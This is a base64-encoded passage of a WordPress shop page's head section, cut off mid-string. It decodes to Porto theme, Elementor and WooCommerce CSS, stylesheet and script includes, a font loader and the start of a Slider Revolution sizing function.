CAgICAgLndwLWJsb2NrLW5hdmlnYXRpb24gYTp3aGVyZSg6bm90KC53cC1lbGVtZW50LWJ1dHRvbikpIHsNCiAgICAgICAgICAgIGNvbG9yOiBpbmhlcml0Ow0KICAgICAgICB9DQoNCiAgICAgICAgOndoZXJlKC53cC1ibG9jay1jb2x1bW5zLmlzLWxheW91dC1mbGV4KSB7DQogICAgICAgICAgICBnYXA6IDJlbTsNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1wdWxscXVvdGUgew0KICAgICAgICAgICAgZm9udC1zaXplOiAxLjVlbTsNCiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjY7DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2NvbnRhY3QtZm9ybS03LWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL2NvbnRhY3QtZm9ybS03L2luY2x1ZGVzL2Nzcy9zdHlsZXMuY3NzP3Zlcj01LjcuMycgbWVkaWE9J2FsbCcvPg0KICAgIDxzdHlsZSBpZD0nd29vY29tbWVyY2UtaW5saW5lLWlubGluZS1jc3MnPg0KICAgICAgICAud29vY29tbWVyY2UgZm9ybSAuZm9ybS1yb3cgLnJlcXVpcmVkIHsNCiAgICAgICAgICAgIHZpc2liaWxpdHk6IHZpc2libGU7DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J25leHRwYXktc3R5bGVzLWNzcycgaHJlZj0nL3dwLWNvbnRlbnQvcGx1Z2lucy9uZXh0cGF5L2Fzc2V0cy9jc3MvcGF5LmNzcz92ZXI9djEuMi40Jw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by1jc3MtdmFycy1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3VwbG9hZHMvcG9ydG9fc3R5bGVzL3RoZW1lX2Nzc192YXJzLmNzcz92ZXI9Ni43LjInDQogICAgICAgICAgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2VsZW1lbnRvci1pY29ucy1jc3MnDQogICAgICAgICAgaHJlZj0nL3dwLWNvbnRlbnQvcGx1Z2lucy9lbGVtZW50b3IvYXNzZXRzL2xpYi9laWNvbnMvY3NzL2VsZW1lbnRvci1pY29ucy5taW4uY3NzP3Zlcj01LjE3LjAnIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdlbGVtZW50b3ItZnJvbnRlbmQtY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3VwbG9hZHMvZWxlbWVudG9yL2Nzcy9jdXN0b20tZnJvbnRlbmQtbGl0ZS5taW4uY3NzP3Zlcj0xNzA5ODc5NDk4JyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nZWxlbWVudG9yLXBvc3QtMjE1Mi1jc3MnDQogICAgICAgICAgaHJlZj0nL3dwLWNvbnRlbnQvdXBsb2Fkcy9lbGVtZW50b3IvY3NzL3Bvc3QtMjE1Mi5jc3M/dmVyPTE3MDk4Nzk0OTgnIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdib290c3RyYXAtY3NzJyBocmVmPScvd3AtY29udGVudC91cGxvYWRzL3BvcnRvX3N0eWxlcy9ib290c3RyYXAuY3NzP3Zlcj02LjcuMicNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tcGx1Z2lucy1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvcGx1Z2lucy5jc3M/dmVyPTYuNy4yJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by10aGVtZS1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvdGhlbWUuY3NzP3Zlcj02LjcuMicgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3BvcnRvLXNob3J0Y29kZXMtY3NzJyBocmVmPScvd3AtY29udGVudC91cGxvYWRzL3BvcnRvX3N0eWxlcy9zaG9ydGNvZGVzLmNzcz92ZXI9Ni43LjInDQogICAgICAgICAgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3BvcnRvLXRoZW1lLXNob3AtY3NzJyBocmVmPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vY3NzL3RoZW1lX3Nob3AuY3NzP3Zlcj02LjcuMicNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tdGhlbWUtZWxlbWVudG9yLWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vY3NzL3RoZW1lX2VsZW1lbnRvci5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tZHluYW1pYy1zdHlsZS1jc3MnDQogICAgICAgICAgaHJlZj0nL3dwLWNvbnRlbnQvdXBsb2Fkcy9wb3J0b19zdHlsZXMvZHluYW1pY19zdHlsZS5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tdHlwZS1idWlsZGVyLWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL3BvcnRvLWZ1bmN0aW9uYWxpdHkvYnVpbGRlcnMvYXNzZXRzL3R5cGUtYnVpbGRlci5jc3M/dmVyPTIuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tc2hvcC1maWx0ZXItY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvdGhlbWUvc2hvcC9zaG9wLWZpbHRlci9vZmZjYW52YXMuY3NzP3Zlcj02LjcuMicgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3BvcnRvLWFjY291bnQtbG9naW4tc3R5bGUtY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvdGhlbWUvc2hvcC9sb2dpbi1zdHlsZS9hY2NvdW50LWxvZ2luLmNzcz92ZXI9Ni43LjInIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by1zdHlsZS1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9zdHlsZS5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPHN0eWxlIGlkPSdwb3J0by1zdHlsZS1pbmxpbmUtY3NzJz4NCiAgICAgICAgLnNpZGUtaGVhZGVyLW5hcnJvdy1iYXItbG9nbyB7DQogICAgICAgICAgICBtYXgtd2lkdGg6IDExMXB4DQogICAgICAgIH0NCg0KICAgICAgICBAbWVkaWEgKG1pbi13aWR0aDogOTkycHgpIHsNCiAgICAgICAgfQ0KDQogICAgICAgIC5wYWdlLXRvcCB1bC5icmVhZGNydW1iID4gbGkuaG9tZSB7DQogICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2sNCiAgICAgICAgfQ0KDQogICAgICAgIC5wYWdlLXRvcCB1bC5icmVhZGNydW1iID4gbGkuaG9tZSBhIHsNCiAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsNCiAgICAgICAgICAgIHdpZHRoOiAxNHB4Ow0KICAgICAgICAgICAgdGV4dC1pbmRlbnQ6IC05OTk5cHgNCiAgICAgICAgfQ0KDQogICAgICAgIC5wYWdlLXRvcCB1bC5icmVhZGNydW1iID4gbGkuaG9tZSBhOmFmdGVyIHsNCiAgICAgICAgICAgIGNvbnRlbnQ6ICJcZTg4MyI7DQogICAgICAgICAgICBmb250LWZhbWlseTogJ3BvcnRvJzsNCiAgICAgICAgICAgIGZsb2F0OiBsZWZ0Ow0KICAgICAgICAgICAgdGV4dC1pbmRlbnQ6IDANCiAgICAgICAgfQ0KDQogICAgICAgIEBtZWRpYSAobWluLXdpZHRoOiAxNTAwcHgpIHsNCiAgICAgICAgICAgIC5sZWZ0LXNpZGViYXIuY29sLWxnLTMsIC5yaWdodC1zaWRlYmFyLmNvbC1sZy0zIHsNCiAgICAgICAgICAgICAgICB3aWR0aDogMjAlDQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAubWFpbi1jb250ZW50IHsNCiAgICAgICAgICAgIGZsZXg6IDAgMCBhdXRvOw0KICAgICAgICAgICAgd2lkdGg6IDEwMCUNCiAgICAgICAgfQ0KDQogICAgICAgIC5jdXN0b20tZm9udDQsIC5jdXN0b20tZm9udDQgLmVsZW1lbnRvci1oZWFkaW5nLXRpdGxlIHsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnU2Vnb2UgU2NyaXB0JywgJ1Nhdm95ZSBMRVQnDQogICAgICAgIH0NCg0KICAgICAgICAud29vY29tbWVyY2UuYXJjaGl2ZSAuY29sdW1uMSAubWFpbi1jb250ZW50IHsNCiAgICAgICAgICAgIHBhZGRpbmctdG9wOiAwDQogICAgICAgIH0NCg0KICAgICAgICAucGFnZS13cmFwcGVyIHsNCiAgICAgICAgICAgIG1pbi1oZWlnaHQ6IDEwMHZoDQogICAgICAgIH0NCg0KICAgICAgICBAbWVkaWEgKG1pbi13aWR0aDogMTQ0MHB4KSB7DQogICAgICAgICAgICAuY29udGFpbmVyLWZsdWlkLCBib2R5LndpZGUgLmNvbnRhaW5lcjpub3QoLmlubmVyLWNvbnRhaW5lcikgew0KICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogNDBweDsNCiAgICAgICAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiA0MHB4DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC5jb250YWluZXItZmx1aWQgLmVsZW1lbnRvci10b3Atc2VjdGlvbiB7DQogICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IC00MHB4Ow0KICAgICAgICAgICAgICAgIG1hcmdpbi1yaWdodDogLTQwcHg7DQogICAgICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiA0MHB4Ow0KICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDQwcHgNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLmNvbnRhaW5lci1mbHVpZCAuZWxlbWVudG9yLXRvcC1zZWN0aW9uLmVsZW1lbnRvci1zZWN0aW9uLWZ1bGxfd2lkdGggPiAuZWxlbWVudG9yLWNvbHVtbi1nYXAtbm8gew0KICAgICAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAwOw0KICAgICAgICAgICAgICAgIG1hcmdpbi1yaWdodDogMDsNCiAgICAgICAgICAgICAgICB3aWR0aDogMTAwJQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAucHgtc2wtMCB7DQogICAgICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAwICFpbXBvcnRhbnQ7DQogICAgICAgICAgICAgICAgcGFkZGluZy1yaWdodDogMCAhaW1wb3J0YW50DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAudmlldy1zd2l0Y2hlciBsaS5tZW51LWl0ZW0gPiBhID4gW2NsYXNzKj0nZmxhZy0nXSB7DQogICAgICAgICAgICBkaXNwbGF5OiBub25lDQogICAgICAgIH0NCg0KICAgICAgICAjaGVhZGVyIC5wb3J0by12aWV3LXN3aXRjaGVyID4gbGkubWVudS1pdGVtID4gYSB7DQogICAgICAgICAgICBmb250LXNpemU6IC42MjVyZW07DQogICAgICAgICAgICBmb250LXdlaWdodDogNTAwDQogICAgICAgIH0NCg0KICAgICAgICAuaGVhZGVyLXNpZGUtbmF2IC5zaWRlYmFyLW1lbnUgPiBsaS5tZW51LWl0ZW0gPiAuYXJyb3c6YmVmb3JlIHsNCiAgICAgICAgICAgIG9wYWNpdHk6IC40DQogICAgICAgIH0NCg0KICAgICAgICAucG9ydG8tcHJvZHVjdHMtZmlsdGVyLWJvZHkgLnNpZGViYXIgew0KICAgICAgICAgICAgcGFkZGluZy10b3A6IDANCiAgICAgICAgfQ0KDQogICAgICAgIEBtZWRpYSAobWluLXdpZHRoOiA5OTJweCkgew0KICAgICAgICAgICAgI2hlYWRlciAuc2VhcmNoZm9ybSB7DQogICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMmVtDQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC5oZWFkZXItd3JhcHBlciAjaGVhZGVyIC5zZWFyY2hmb3JtIGJ1dHRvbiB7DQogICAgICAgICAgICAgICAgcGFkZGluZy1yaWdodDogMTJweA0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAuaGVhZGVyLXdyYXBwZXIgI2hlYWRlciAuc2VhcmNoZm9ybSBpbnB1dCB7DQogICAgICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAxNXB4Ow0KICAgICAgICAgICAgICAgIHdpZHRoOiBhdXRvDQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICNoZWFkZXIgLmhlYWRlci1jb250YWN0IHsNCiAgICAgICAgICAgICAgICBmbGV4OiAwIDAgYXV0bzsNCiAgICAgICAgICAgICAgICB3aWR0aDogMTAwJTsNCiAgICAgICAgICAgICAgICBkaXNwbGF5OiBibG9jazsNCiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEuMTI1cmVtOw0KICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDA7DQogICAgICAgICAgICAgICAgb3JkZXI6IDANCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgICNoZWFkZXIgLnNoYXJlLWxpbmtzIGEgew0KICAgICAgICAgICAgZm9udC1zaXplOiAxcmVtOw0KICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IC41cmVtOw0KICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAuNXJlbQ0KICAgICAgICB9DQoNCiAgICAgICAgLmhlYWRlci1zaWRlLW5hdiAuc2lkZWJhci1tZW51IHsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDA7DQogICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IC0yMHB4DQogICAgICAgIH0NCg0KICAgICAgICBAbWVkaWEgKG1heC13aWR0aDogMTQzOXB4KSB7DQogICAgICAgICAgICAuaGVhZGVyLXNpZGUtbmF2IC5zaWRlYmFyLW1lbnUgPiBsaS5tZW51LWl0ZW0gPiBhLCAudG9nZ2xlLW1lbnUtd3JhcCAuc2lkZWJhci1tZW51ID4gbGkubWVudS1pdGVtID4gYSB7DQogICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDE3cHgNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIC5zZWN0aW9uLXRpdGxlIHsNCiAgICAgICAgICAgIHBhZGRpbmctYm90dG9tOiAuNXJlbTsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZTdlN2U3Ow0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMS41cmVtDQogICAgICAgIH0NCg0KICAgICAgICAuYnRuIHsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBQb3BwaW5zOw0KICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDcwMA0KICAgICAgICB9DQoNCiAgICAgICAgLmJ0bi1mbGF0IHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IG5vbmUgIWltcG9ydGFudDsNCiAgICAgICAgICAgIHBhZGRpbmc6IDAgIWltcG9ydGFudDsNCiAgICAgICAgICAgIGJvcmRlcjogbm9uZSAhaW1wb3J0YW50Ow0KICAgICAgICAgICAgYm94LXNoYWRvdzogbm9uZSAhaW1wb3J0YW50DQogICAgICAgIH0NCg0KICAgICAgICAucG9ydG8taWJhbm5lci1sYXllciAuYnRuLWZsYXQuYnRuLXhsIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4xMjVlbQ0KICAgICAgICB9DQoNCiAgICAgICAgLm93bC1jYXJvdXNlbC5uYXYtc3R5bGUtNCAub3dsLW5hdiBbY2xhc3MqPSJvd2wtIl0gew0KICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDcwMA0KICAgICAgICB9DQoNCiAgICAgICAgLnNpbmdsZS1wcm9kdWN0IC5wcm9kdWN0LWxheW91dC10cmFuc3BhcmVudCB7DQogICAgICAgICAgICBtYXJnaW4tdG9wOiAtMjBweA0KICAgICAgICB9DQoNCiAgICAgICAgdWwucHJvZHVjdHMgbGkucHJvZHVjdC1vbmltYWdlMyAucHJvZHVjdC1jb250ZW50IHsNCiAgICAgICAgICAgIG9wYWNpdHk6IDE7DQogICAgICAgICAgICBib3R0b206IDANCiAgICAgICAgfQ0KDQogICAgICAgIC5wYWdpbmF0aW9uLmxvYWQtbW9yZSAubmV4dCB7DQogICAgICAgICAgICB3aWR0aDogYXV0bzsNCiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jazsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwMDA7DQogICAgICAgICAgICBjb2xvcjogI2ZmZjsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBQb3BwaW5zOw0KICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4Ow0KICAgICAgICAgICAgcGFkZGluZzogMTRweCA0MHB4DQogICAgICAgIH0NCg0KICAgICAgICAuY291cG9uLXNhbGUtdGV4dCBiIHsNCiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jazsNCiAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsNCiAgICAgICAgICAgIGNvbG9yOiAjZmZmOw0KICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC5jb3Vwb24tc2FsZS10ZXh0IGI6YmVmb3JlIHsNCiAgICAgICAgICAgIGNvbnRlbnQ6ICcnOw0KICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlOw0KICAgICAgICAgICAgbGVmdDogLS41ZW07DQogICAgICAgICAgICB0b3A6IC0uMWVtOw0KICAgICAgICAgICAgcmlnaHQ6IC0uNWVtOw0KICAgICAgICAgICAgYm90dG9tOiAtLjFlbTsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMyMjI1Mjk7DQogICAgICAgICAgICB6LWluZGV4OiAtMTsNCiAgICAgICAgICAgIHRyYW5zZm9ybTogcm90YXRlKC0xLjVkZWcpIHNrZXcoMS41ZGVnKQ0KICAgICAgICB9DQoNCiAgICAgICAgLnNpbmdsZS1wcm9kdWN0IC5wcm9kdWN0X3RpdGxlIHsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBQb3BwaW5zDQogICAgICAgIH0NCg0KICAgICAgICAucG9ydG8tcmVsYXRlZC1wcm9kdWN0cyB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiBub25lOw0KICAgICAgICAgICAgcGFkZGluZy10b3A6IDANCiAgICAgICAgfQ0KDQogICAgICAgICNjb250ZW50LWJvdHRvbSArIC5wb3J0by1yZWxhdGVkLXByb2R1Y3RzIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmNGY0ZjQ7DQogICAgICAgICAgICBwYWRkaW5nLXRvcDogNDBweA0KICAgICAgICB9DQoNCiAgICAgICAgLnR5cGUtcHJvZHVjdCA+IC5wb3J0by1yZWxhdGVkLXByb2R1Y3RzIHsNCiAgICAgICAgICAgIHBhZGRpbmctdG9wOiA0MHB4DQogICAgICAgIH0NCg0KICAgICAgICAuZm9vdGVyLXRvcCB7DQogICAgICAgICAgICBwYWRkaW5nOiAwDQogICAgICAgIH0NCg0KICAgICAgICAuZm9vdGVyLXRvcCAucG9ydG8tYmxvY2sgew0KICAgICAgICAgICAgYm9yZGVyLXdpZHRoOiAxcHggMDsNCiAgICAgICAgICAgIGJvcmRlci1zdHlsZTogc29saWQ7DQogICAgICAgICAgICBib3JkZXItY29sb3I6ICNlN2U3ZTcNCiAgICAgICAgfQ0KDQogICAgICAgICNmb290ZXIgLndpZGdldC10aXRsZSB7DQogICAgICAgICAgICBmb250LXNpemU6IDE1cHg7DQogICAgICAgICAgICBmb250LXdlaWdodDogNzAwDQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC5zaGFyZS1saW5rcyBhIHsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmU7DQogICAgICAgICAgICBmb250LXNpemU6IDE0cHg7DQogICAgICAgICAgICB3aWR0aDogMzZweDsNCiAgICAgICAgICAgIGhlaWdodDogMzZweDsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDE4cHgNCiAgICAgICAgfQ0KDQogICAgICAgICNmb290ZXIgLmNvbnRhY3QtaW5mbyBpIHsNCiAgICAgICAgICAgIGRpc3BsYXk6IG5vbmUNCiAgICAgICAgfQ0KDQogICAgICAgICNmb290ZXIgLmNvbnRhY3QtaW5mbyAuY29udGFjdC1kZXRhaWxzIHN0cm9uZywgI2Zvb3RlciAuY29udGFjdC1pbmZvIC5jb250YWN0LWRldGFpbHMgc3BhbiB7DQogICAgICAgICAgICBwYWRkaW5nOiAwDQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC5jb250YWN0LWluZm8gLmNvbnRhY3QtZGV0YWlscyBzdHJvbmcgew0KICAgICAgICAgICAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsNCiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxDQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC5mb290ZXItbWFpbiA+IC5jb250YWluZXIgew0KICAgICAgICAgICAgcGFkZGluZy10b3A6IDIuMjVyZW07DQogICAgICAgICAgICBwYWRkaW5nLWJvdHRvbTogMA0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAuZm9vdGVyLW1haW4gPiAuY29udGFpbmVyOmFmdGVyIHsNCiAgICAgICAgICAgIGNvbnRlbnQ6ICcnOw0KICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2U3ZTdlNw0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAud2lkZ2V0X3d5c2lqYV9jb250IC53eXNpamEtaW5wdXQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogI2Y0ZjRmNDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogLjgxMjVyZW07DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAycmVtIDAgMCAycmVtOw0KICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAxLjI1cmVtDQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC53aWRnZXRfd3lzaWphX2NvbnQgLnd5c2lqYS1zdWJtaXQgew0KICAgICAgICAgICAgZm9udC1zaXplOiAuODEyNXJlbTsNCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDA7DQogICAgICAgICAgICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOw0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMCAycmVtIDJyZW0gMDsNCiAgICAgICAgICAgIHBhZGRpbmc6IDAgMS41cmVtDQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC5mb290ZXItYm90dG9tIHsNCiAgICAgICAgICAgIHBhZGRpbmctYm90dG9tOiAzcmVtOw0KICAgICAgICAgICAgZm9udC1zaXplOiAxMnB4DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2dvb2dsZS1mb250cy0xLWNzcycNCiAgICAgICAgICBocmVmPSdodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9Um9ib3RvJTNBMTAwJTJDMTAwaXRhbGljJTJDMjAwJTJDMjAwaXRhbGljJTJDMzAwJTJDMzAwaXRhbGljJTJDNDAwJTJDNDAwaXRhbGljJTJDNTAwJTJDNTAwaXRhbGljJTJDNjAwJTJDNjAwaXRhbGljJTJDNzAwJTJDNzAwaXRhbGljJTJDODAwJTJDODAwaXRhbGljJTJDOTAwJTJDOTAwaXRhbGljJTdDUm9ib3RvK1NsYWIlM0ExMDAlMkMxMDBpdGFsaWMlMkMyMDAlMkMyMDBpdGFsaWMlMkMzMDAlMkMzMDBpdGFsaWMlMkM0MDAlMkM0MDBpdGFsaWMlMkM1MDAlMkM1MDBpdGFsaWMlMkM2MDAlMkM2MDBpdGFsaWMlMkM3MDAlMkM3MDBpdGFsaWMlMkM4MDAlMkM4MDBpdGFsaWMlMkM5MDAlMkM5MDBpdGFsaWMmIzAzODtkaXNwbGF5PXN3YXAmIzAzODt2ZXI9Ni4xLjUnDQogICAgICAgICAgbWVkaWE9J2FsbCcvPg0KICAgIDxzY3JpcHQgc3JjPScvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2pxdWVyeS5taW4uanM/dmVyPTMuNi4xJyBpZD0nanF1ZXJ5LWNvcmUtanMnPjwvc2NyaXB0Pg0KICAgIDxzY3JpcHQgc3JjPScvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2pxdWVyeS1taWdyYXRlLm1pbi5qcz92ZXI9My4zLjInIGlkPSdqcXVlcnktbWlncmF0ZS1qcyc+PC9zY3JpcHQ+DQoNCiAgICA8IS0tIEh1YlNwb3QgV29yZFByZXNzIFBsdWdpbiB2MTAuMC4xOTogZW1iZWQgSlMgZGlzYWJsZWQgYXMgYSBwb3J0YWxJZCBoYXMgbm90IHlldCBiZWVuIGNvbmZpZ3VyZWQgLS0+DQogICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KICAgICAgICBXZWJGb250Q29uZmlnID0gew0KICAgICAgICAgICAgZ29vZ2xlOiB7ZmFtaWxpZXM6IFsnUG9wcGluczo0MDAsNTAwLDYwMCw3MDAsODAwJywgJ1BsYXlmYWlyK0Rpc3BsYXk6NDAwLDcwMCddfQ0KICAgICAgICB9Ow0KICAgICAgICAoZnVuY3Rpb24gKGQpIHsNCiAgICAgICAgICAgIHZhciB3ZiA9IGQuY3JlYXRlRWxlbWVudCgnc2NyaXB0JyksIHMgPSBkLnNjcmlwdHNbZC5zY3JpcHRzLmxlbmd0aCAtIDFdOw0KICAgICAgICAgICAgd2Yuc3JjID0gJ3t7cHJlZml4fX0vd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvbGlicy93ZWJmb250LmpzJzsNCiAgICAgICAgICAgIHdmLmFzeW5jID0gdHJ1ZTsNCiAgICAgICAgICAgIHMucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUod2YsIHMpOw0KICAgICAgICB9KShkb2N1bWVudCk7PC9zY3JpcHQ+DQogICAgPG5vc2NyaXB0Pg0KICAgICAgICA8c3R5bGU+Lndvb2NvbW1lcmNlLXByb2R1Y3QtZ2FsbGVyeSB7DQogICAgICAgICAgICBvcGFjaXR5OiAxICFpbXBvcnRhbnQ7DQogICAgICAgIH08L3N0eWxlPg0KICAgIDwvbm9zY3JpcHQ+DQogICAgPG1ldGEgbmFtZT0iZ2VuZXJhdG9yIg0KICAgICAgICAgIGNvbnRlbnQ9IlBvd2VyZWQgYnkgU2xpZGVyIFJldm9sdXRpb24gNi41LjIwIC0gcmVzcG9uc2l2ZSwgTW9iaWxlLUZyaWVuZGx5IFNsaWRlciBQbHVnaW4gZm9yIFdvcmRQcmVzcyB3aXRoIGNvbWZvcnRhYmxlIGRyYWcgYW5kIGRyb3AgaW50ZXJmYWNlLiIvPg0KICAgIDxzY3JpcHQ+ZnVuY3Rpb24gc2V0UkVWU3RhcnRTaXplKGUpIHsNCiAgICAgICAgLy93aW5kb3cucmVxdWVzdEFuaW1hdGlvbkZyYW1lKGZ1bmN0aW9uKCkgew0KICAgICAgICB3aW5kb3cuUlNJVyA9IHdpbmRvdy5SU0lXID09PSB1bmRlZmluZWQgPyB3aW5kb3cuaW5uZXJXaWR0aCA6IHdpbmRvdy5SU0lXOw0KICAgICAgICB3aW5kb3cuUlNJSCA9IHdpbmRvdy5SU0lIID09PSB1bmRlZmluZWQgPyB3aW5kb3cuaW5uZXJIZWlnaHQgOiB3aW5kb3cuUlNJSDsNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgIHZhciBwdyA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGUuYykucGFyZW50Tm9kZS5vZmZzZXRXaWR0aCwNCiAgICAgICAgICAgICAgICBuZXdoOw0KICAgICAgICAgICAgcHcgPSBwdyA9PT0gMCB8fCBpc05hTihwdykgPyB3aW5kb3cuUlNJVyA6IHB3Ow0KICAgICAgICAgICAgZS50YWJ3ID0gZS50YWJ3ID09P